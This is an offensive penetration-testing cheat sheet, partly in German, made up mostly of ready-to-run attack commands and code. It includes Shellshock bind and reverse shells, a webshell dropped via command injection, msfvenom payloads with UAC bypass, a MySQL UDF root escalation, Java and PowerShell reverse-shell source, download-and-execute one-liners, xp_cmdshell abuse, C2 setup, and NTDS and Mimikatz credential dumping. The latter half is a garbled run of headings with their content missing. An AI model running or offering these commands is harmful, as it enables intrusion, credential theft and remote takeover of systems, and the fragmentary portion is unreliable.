$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt

Nmap – Techniken zur Umgehung von Firewalls```

fragmentation

$ nmap -f

change default MTU size number must be a multiple of 8 (8,16,24,32 etc)

$ nmap --mtu 24

Generates a random number of decoys

$ nmap -D RND:10 [target]

Manually specify the IP addresses of the decoys

$ nmap -D decoy1,decoy2,decoy3 etc.

Idle Zombie Scan, first t need to find zombie ip

$ nmap -sI [Zombie IP] [Target IP]

Source port number specification

$ nmap --source-port 80 IP

Append Random Data to scan packages

$ nmap --data-length 25 IP

MAC Address Spoofing, generate different mac for host pc

$ nmap --spoof-mac Dell/Apple/3Com IP

### Server für Shellshock ausnutzen```
# A tool to find and exploit servers vulnerable to Shellshock
# https://github.com/nccgroup/shocker
$ ./shocker.py -H 192.168.56.118  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

# cat file
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

# bind shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

# reverse Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

Root mit Docker```

get root with docker

user must be in docker group

ek@victum:~/docker-test$ id uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)

ek@victum:~~$ mkdir docker-test ek@victum:~~$ cd docker-test

ek@victum:~$ cat > Dockerfile FROM debian:wheezy

ENV WORKDIR /stuff

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR << EOF

ek@victum:~~$ docker build -t my-docker-image . ek@victum:~~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' ./sh whoami

root

ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'

### Tunneling über DNS zur Umgehung von Firewalls```
# Tunneling Data and Commands Over DNS to Bypass Firewalls
# dnscat2 supports "download" and "upload" commands for getting files (data and programs) to and from # the victim’s host.

# server (attacker)
$ apt-get update
$ apt-get -y install ruby-dev git make g++
$ gem install bundler
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server
$ bundle install
$ ruby ./dnscat2.rb
dnscat2> New session established: 16059
dnscat2> session -i 16059

# client (victum)
# https://downloads.skullsecurity.org/dnscat2/
# https://github.com/lukebaggett/dnscat2-powershell
$ dnscat --host <dnscat server_ip>

Assembler-Code kompilieren```

nasm -f elf32 simple32.asm -o simple32.o ld -m elf_i386 simple32.o simple32

nasm -f elf64 simple.asm -o simple.o ld simple.o -o simple

### Pivoting zum internen Netzwerk über nicht-interaktive Shell```
# generate ssh key with shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"

# add tempuser at attacker ps
$ useradd -m tempuser
$ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys
$ chmod 700 /home/tempuser/.ssh/authorized_keys
$ chown -R tempuser:tempuser /home/tempuser/.ssh

# create reverse ssh shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"

Patator ist ein Mehrzweck-Brute-Force-Tool```

git clone https://github.com/lanjelot/patator.git /usr/share/patator

SMTP bruteforce

$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst $ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'

### Metasploit Web-Terminal über Gotty```
$ service postgresql start
$ msfdb init
$ apt-get install golang
$ mkdir /root/gocode
$ export GOPATH=/root/gocode
$ go get github.com/yudai/gotty
$ gocode/bin/gotty -a 127.0.0.1 -w msfconsole
# open in browser http://127.0.0.1:8080

Vollständige Shell mit POST RCE erhalten```

attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'

attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'

attacker:~$ curl http://victum.tk/shell.php?cmd=id

download reverse shell to server (phpshell.php)

http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27

run nc and execute phpshell.php

attacker:~$ nc -nvlp 1337

### Exiftool - Meta-Informationen in Dateien lesen und schreiben```
$ wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-10.13.tar.gz
$ tar xzf Image-ExifTool-10.13.tar.gz
$ cd Image-ExifTool-10.13
$ perl Makefile.PL
$ make
$ ./exiftool main.gif

Erhalten Sie SYSTEM mit Admin reverse_shell auf Win7```

msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe

#show account settings net user

download psexec to kali

https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

upload psexec.exe file onto the victim machine with powershell script

echo $client = New-Object System.Net.WebClient > script.ps1 echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1 echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1

upload danger.exe file onto the victim machine with powershell script

echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1 echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1

UAC bypass from precompiled binaries:

https://github.com/hfiref0x/UACME

upload https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe to victim pc with powershell

echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1 echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1

create listener on kali

nc -lvp 4444

Use Akagi64 to run the danger.exe file with SYSTEM privileges

Akagi64.exe 1 C:\Users\User\Desktop\danger.exe

create listener on kali

nc -lvp 4444

The above step should give us a reverse shell with elevated privileges

Use PsExec to run the danger.exe file with SYSTEM privileges

psexec.exe –i –d –accepteula –s danger.exe

### SYSTEM mit Standardbenutzer reverse_shell auf Win7 erhalten```
https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
https://www.exploit-db.com/exploits/37049/

# check the list of patches applied on the target machine
# to get the list of Hotfixes installed, type in the following command.
wmic qfe get
wmic qfe | find "3057191"

# Upload compile exploit to victim machine and run it
https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe

# by default exploite exec cmd.exe with SYSTEM privileges, we need to change source code to run danger.exe
# https://github.com/hfiref0x/CVE-2015-1701 download it and navigate to the file "main.c"

# dump clear text password of the currently logged in user using wce.exe
http://www.ampliasecurity.com/research/windows-credentials-editor/
wce -w

# dump hashes of other users with pwdump7
http://www.heise.de/download/pwdump.html
# we can try online hash cracking tools such crackstation.net

Eigene dic-Datei basierend auf dem Website-Inhalt generieren```

$ cewl -m 4 -w dict.txt http://site.url $ john --wordlist=dict.txt --rules --stdout

### Brute-Force DNS-Einträge mit Nmap```
$ nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80
$ nmap --script dns-brute www.foo.com

Identifizieren einer WAF mit Nmap```

$ nmap -p 80,443 --script=http-waf-detect 192.168.56.102 $ nmap -p 80,443 --script=http-waf-fingerprint 192.168.56.102 $ wafw00f www.hamza.com

### MS08-067 - ohne Verwendung von Metasploit```
$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
$ searchsploit ms08-067
$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1

Nikto-Scan mit SQUID-Proxy```

$ nikto -useproxy http://squid_ip:3128 -h http://target_ip

### Den vollständigen Pfad einer Binärdatei in bash kapern, um eigenen Code auszuführen```
$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
# It works ;)

Lokale Privilegieneskalation durch MySQL, das mit Root-Rechten ausgeführt wird```

Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)

$ wget 0xdeadbeef.info/exploits/raptor_udf2.c $ gcc -g -c raptor_udf2.c $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc mysql -u root -p mysql> use mysql; mysql> create table foo(line blob); mysql> insert into foo values(load_file('/home/user/raptor_udf2.so')); mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; mysql> create function do_system returns integer soname 'raptor_udf2.so'; mysql> select * from mysql.func; mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');

user:~~$ su - Password: user:~~# whoami root root:~# id uid=0(root) gid=0(root) groups=0(root)

### Brute-Force SSH-Anmeldung mit patator```
root:~# patator ssh_login host=192.168.0.18 user=FILE0 password=FILE1 0=word.txt 1=word.txt -x ignore:mesg='Authentication failed.'

Verwendung von LD_PRELOAD zum Injizieren von Funktionen in Programme```

$ wget https://github.com/jivoi/pentest/ldpreload_shell.c $ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so $ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft

### Ausnutzen des OpenSSH Timing-Angriffs zur Benutzerenumeration```
# https://github.com/c0r3dump3d/osueta
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt

Erstellen Sie einen TCP-Tunnel durch gültig formatierte HTTP-Anfragen mit ReDuh```

https://github.com/sensepost/reDuh

step 1

upload reDuh.jsp to victim server

$ http://192.168.10.50/uploads/reDuh.jsp

step 2

run reDuhClient on attacker

$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp

step 3

connecting to management port with nc

$ nc -nvv 127.0.0.1 1010

step 4

forward localport to remote port with tunnel

[createTunnel] 7777:172.16.0.4:3389

step 5

connect to localhost with rdp

$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777

# Jenkins Reverse Shell```
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Powershell Reverse Shell

IP und Port ändern / Eingeschränkte Version``` $sm=(New-Object Net.Sockets.TCPClient('192.168.1.11',9001)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

# Datei auf dem Zielrechner herunterladen```
cmd /c certutil -urlcache -split -f http://127.0.0.1/shell.exe c:\Temp\shell.exe && C:\temp\shell.exe

powershell -v 2 -exec bypass IEX(New-Object Net.WebClient).downloadString("http://127.0.0.1/shell.ps1")

MSSQL-Angriff

Serviceerkennung

Nmap``` nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

**MetaSploit**```
msf > use auxiliary/scanner/mssql/mssql_ping

Enumeration Kombiniere auf andere Weise gesammelte Benutzerpasswörter in einem Wörterbuch, um MSSQL-Maschinen in der Domäne zu enumerieren.

Nmap``` nmap -n -sV -Pn -vv -p --script=banner,ms-sql-empty-password,ms-sql-dac,ms-sql-dump-hashes,ms-sql-info,ms-sql-ntlm-info,vulners -oA _mssql.txt nmap -p 445 --script ms-sql-brute --script-args mssql.instance-all,userdb=user.txt,passdb=pass.txt 192.168.1.1 nmap -p 1433 --script ms-sql-brute --script-args userdb=user.txt,passdb=pass.txt 192.168.1.1 Hydra hydra -L userlist_sqlbrute.txt -P quick_password_spray.txt -f -o output.ms-sql -u -s

**MetaSploit**```
msf > use auxiliary/admin/mssql/mssql_enum
msf > use auxiliary/scanner/mssql/mssql_login
Set it up PASS_FILE and RHOSTS.

PowerUpSQL``` Invoke-SQLAuditWeakLoginPw

**FScrack**```
python FScrack.py -h 192.168.1 -p 1433 -d pass.txt

Ausnutzung

Nmap``` nmap -p 445 --script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell 192.168.1.10 nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="whoami" 192.168.1.10

**MetaSploit**```
msf > auxiliary/admin/mssql/mssql_exec
msf > auxiliary/admin/mssql/mssql_sql 
Rebound
msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

MSDAT All das oben Genannte kann nur mit MSDAT getestet werden.
Eine Shell erhalten``` msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell mssql_shell python script

**python [mssql_shell.py](https://github.com/Alamot/code-snippets/blob/master/mssql/mssql_shell.py) Skript**```
Usage : mssql_shell Change MSSQL_SERVE , MSSQL_USERNAME and MSSQL_PASSWORD

Sqsh
Mit dem Dienst verbinden``` sqsh -S mssql -D MyDB -U DOMAIN\testuser -P MyTestingClearPassword1

Dann```
exec sp_configure ‘show advanced options’, 1
go
reconfigure
go
exec sp_configure ‘xp_cmdshell’, 1
go
reconfigure
go
xp_cmdshell 'dir C:\'
go

C&C

Merlin

Server kompilieren und ausführen``` $ cd merlin/cmd/merlinserver $ go build $ sudo ./merlinServer-Linux-x64 -i 192.168.1.11 -p 8443

Agent kompilieren```
$ cd merlin/cmd/merlinagent
$ sudo GOOS=windows GOARCH=386 go build

Zertifikat generieren``` $ cd merlin/data/x509 $ openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj "/CN=lab.com" -days 365

## Koadic```
$ cd koadic
$ ./koadic
                           / \
     _                   _ | |
    | | _____   __ _  __| || |  ___
    | |/ / _ \ / _` |/ _` ||.| / __|
    |   / (o) | (_| | (_| ||.|| (__
    |_|\_\_^_/ \__,_|\__,_||:| \___|
                           |:|
                        ~\==8==/~
                            8
                            O

        -{ COM Command & Control }-
      Windows Post-Exploitation Tools
             Endless Intellect

            ~[ Version:  0xA ]~
            ~[ Stagers:    5 ]~
            ~[ Implants:  33 ]~

(koadic: sta/js/mshta)$ info

        NAME        VALUE               REQ     DESCRIPTION     
        -----       ------------        ----    -------------   
        SRVHOST     192.168.1.11        yes     Where the stager should call home
        SRVPORT     9999                yes     The port to listen for stagers on
        EXPIRES                         no      MM/DD/YYYY to stop calling home
        KEYPATH                         no      Private key for TLS communications
        CERTPATH                        no      Certificate for TLS communications
        MODULE                          no      Module to run once zombie is staged

(koadic: sta/js/mshta)$ set SRVPORT 1245
[+] SRVPORT => 1245
(koadic: sta/js/mshta)$ run 
[+] Spawned a stager at http://192.168.1.11:1245/c26qp
[!] Don't edit this URL! (See: 'help portfwd')
[>] mshta http://192.168.1.11:1245/c26qp

PHP Tiny Webshell```

//http://127.0.0.1/shell.php??0=command

# Donwload Datei zur Opfermaschine```
bitsadmin  /transfer mydownloadjob  /download  /priority normal  ^http://example.com/filename.zip  C:\Users\username\Downloads\filename.zip

Interner Monolog

NTLM Hashes abrufen ohne LSASS zu berühren

https://github.com/eladshamir/Internal-Monologue

NTDS - Domänencontroller

NTDS.dit auslesen und enumerieren – eine Datei, die Informationen über Active Directory-Benutzer (Hashes!) enthält.``` powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

Hashes dumpen```
/usr/bin/impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

Interaktive Shell mit nc```

rlwrap nc -nlvp PORT

# Tipps und Tricks
### RCE POC
Wir können die folgenden Tricks als RCE POC verwenden (in einigen Engagements fragt der Kunde nach begrenzten Tests von RCE POCs).
## Ping
Pentester-Maschine```bash
tcpdump -nni <eth-adapter> -e icmp[icmptype] == 8

Während der Ausführung des Exploits```bash ping

Sie können die Anzahl der Pings mit dem Argument -c angeben. Wenn ICMP-Anfragen empfangen werden, ist RCE erreicht.

## Curl
Führen Sie Befehle aus und empfangen Sie Daten mit der POST-Anfrage.```bash
curl -d "$(id)" 127.0.0.1:9988

Daten empfangen```bash nc -nlvp 9988

## Burpsuite Collaborator 
Nutze burpcollaborator als POC
* Linux```bash
curl <burp-collaborator.com>

Windows```bash mshta <burp-collaborator.com>

Beliebteste

A-Red-Teamer-diaries

Now you can use the TGT to perform a DCSync

Mimikatz

Kekeo

Mimikatz

Setup the relay

Run mitm6

Beliebteste

A-Red-Teamer-diaries

Tagebuch eines Red Teamers

Mitwirken

Ziele

Haftungsausschluss

Intrusion Kill Chain

Netzwerk-Mapping

RunFinger.py

Nbtscan

Nmap-Scan

ESC3 - Fehlkonfigurierte Enrollment Agent-Vorlagen

ESC4 - Zugriffskontrollschwachstellen

Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.

overwrite the configuration to make it vulnerable to ESC1

request a certificate based on the ESC4 template, just like ESC1.

restore the old configuration

ESC8 - AD CS Relay-Angriff

For a member server or workstation, the template would be "Computer".

Other templates: workstation, DomainController, Machine, KerberosAuthentication

Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam

You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN

Use the certificate with rubeus to request a TGT

ADCSPwn arguments

ESC9 - Keine Sicherheitserweiterung

ESC11 – Weiterleitung von NTLM an ICPR

VORERSTELLTE COMPUTERKONTEN

VORERSTELLTE COMPUTERKONTEN FINDEN

Mit den neuen Anmeldedaten zu SMB verbinden```bash

Scanning for Zerologon

BIGIP RCE

Scannen von Weblogic CVE-2020-14882

Scannen nach EternalBlue ms17-010```bash

Ausnutzung von Eternal Blue - Metasploit-Modul (nur Windows 7 x64 )

Hashes und Passwörter aus dem Speicher lesen```bash

meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials

meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials

Schritt 2```bash

/ \ ## /*** Benjamin DELPY gentilkiwi ( [email protected] )

\ / ## > http://blog.gentilkiwi.com/mimikatz

Prozess migrieren```bash

Windows UAC-Schutzumgehung zur Privilegienausweitung (In-Memory-Injection)```bash

Windows UAC-Eskalation und RunAs-Ausführung```bash

Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)```bash

CrackMapExec Spickzettel

Erste Erkundung```bash

Bloodhound```bash

Credential Spraying```bash

Freigaben auflisten```bash

Alle Dateien dumpen```bash

MSSQL

Authentifizierung testen```bash

Eine Datei abrufen```bash

LSA-Geheimnisse auslesen```bash

Anmeldeinformationen der dpapi auslesen```bash

Referenzen

Crackmapexec zu Empire Agent

Crackmapexec zu Meterpreter

Übergeben einer Shell von Empire an Meterpreter metasploit

DeathStar```

Start the Empire console and RESTful API

Windows cmd.exe Befehle

Benutzer hinzufügen```

Benutzer zur RDP-Gruppe hinzufügen```

Active Directory```

current domain info

domain trusts

current forest info

get forest trust relationships

get DCs of a domain

get DC for currently authenticated session

get domain trusts from cmd shell

get user info

get DC for currently authenticated session

get domain name and DC the user authenticated to

get all logon sessions. Includes NTLM authenticated sessions

kerberos tickets for the session

cached krbtgt

whoami on older Windows systems

Symantec AV Bypass```

/ \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )